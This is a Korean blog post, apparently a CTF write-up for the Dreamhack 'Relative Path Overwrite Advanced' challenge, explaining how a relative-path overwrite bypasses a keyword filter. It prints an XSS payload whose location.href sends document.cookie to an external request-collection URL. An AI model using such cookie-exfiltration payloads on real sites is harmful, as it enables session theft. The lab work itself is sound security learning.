728x90
[Dreamhack] Relative Path Overwrite Advanced
바뀐 부분만 좀 봤더니
<script src="filter.js"></script>
<pre id=param></pre>
<script>
var param_elem = document.getElementById("param");
var url = new URL(window.location.href);
var param = url.searchParams.get("param");
if (typeof filter === 'undefined') {
param = "nope !!";
}
else {
for (var i = 0; i < filter.length; i++) {
if (param.toLowerCase().includes(filter[i])) {
param = "nope !!";
break;
}
}
}
param_elem.innerHTML = param;
</script>
var url =~ 과 if절에 filter !==가 filter ===로 바뀌었다. url변수에 새로운 url을 받아오는 것을 알 수 있었고 filter가 undifined되면 바로 nope !!을 출력한다는 것을 알았다.
var filter = ["script", "on", "frame", "object"];
fiter.js는 동일하게 script, on, frame, object로 동일했다.
advanced에서 핵심은 filter.js를 어떻게하면 발동하지 않고 지나갈까이다.
상대경로니 처음에 학습했던대로
/vuln.php/;alert(1);//
alert(1)을 하고 뒷 부분의 자바스크립트를 주석처리했다. 주석처리하는 이유는 자바스크립트는 코드 내에서 에러가 발생하면 코드 전체를 실행하지 않기 때문에 자바스크립트의 문법에러를 방지하기 위하여 주석처리했다.
잘 실행이 됐다.
함께 실습 때 했던 방식을 생각했다. filter를 undefind시키기 위해 값을 내가 주면 되겠다싶었다.
index.php/;location.href='https://ynnhocz.request.dreamhack.games/'+document.cookie;//?page=vuln¶m=dreamhack
alert(1)부분에 location.href로 드림핵 툴로 받은 url을 넣고 document.cookie를 통해서 쿠키를 읽어왔다. 뒤는 //로 어차피 주석처리하니 무시해도 된다. 위 코드를 제출했더니
flag를 획득했다.
728x90
'Webhacking-Write-Up > Dreamhack' 카테고리의 다른 글
[Dreamhack] DOM XSS (0) | 2023.01.10 |
---|---|
[Dreamhack] XS-Search (0) | 2023.01.10 |
[Dreamhack] Relative Path Overwrite (0) | 2023.01.10 |
[Dreamhack] CSS Injection (0) | 2023.01.10 |
[Dreamhack] Client Side Template Injection (0) | 2023.01.10 |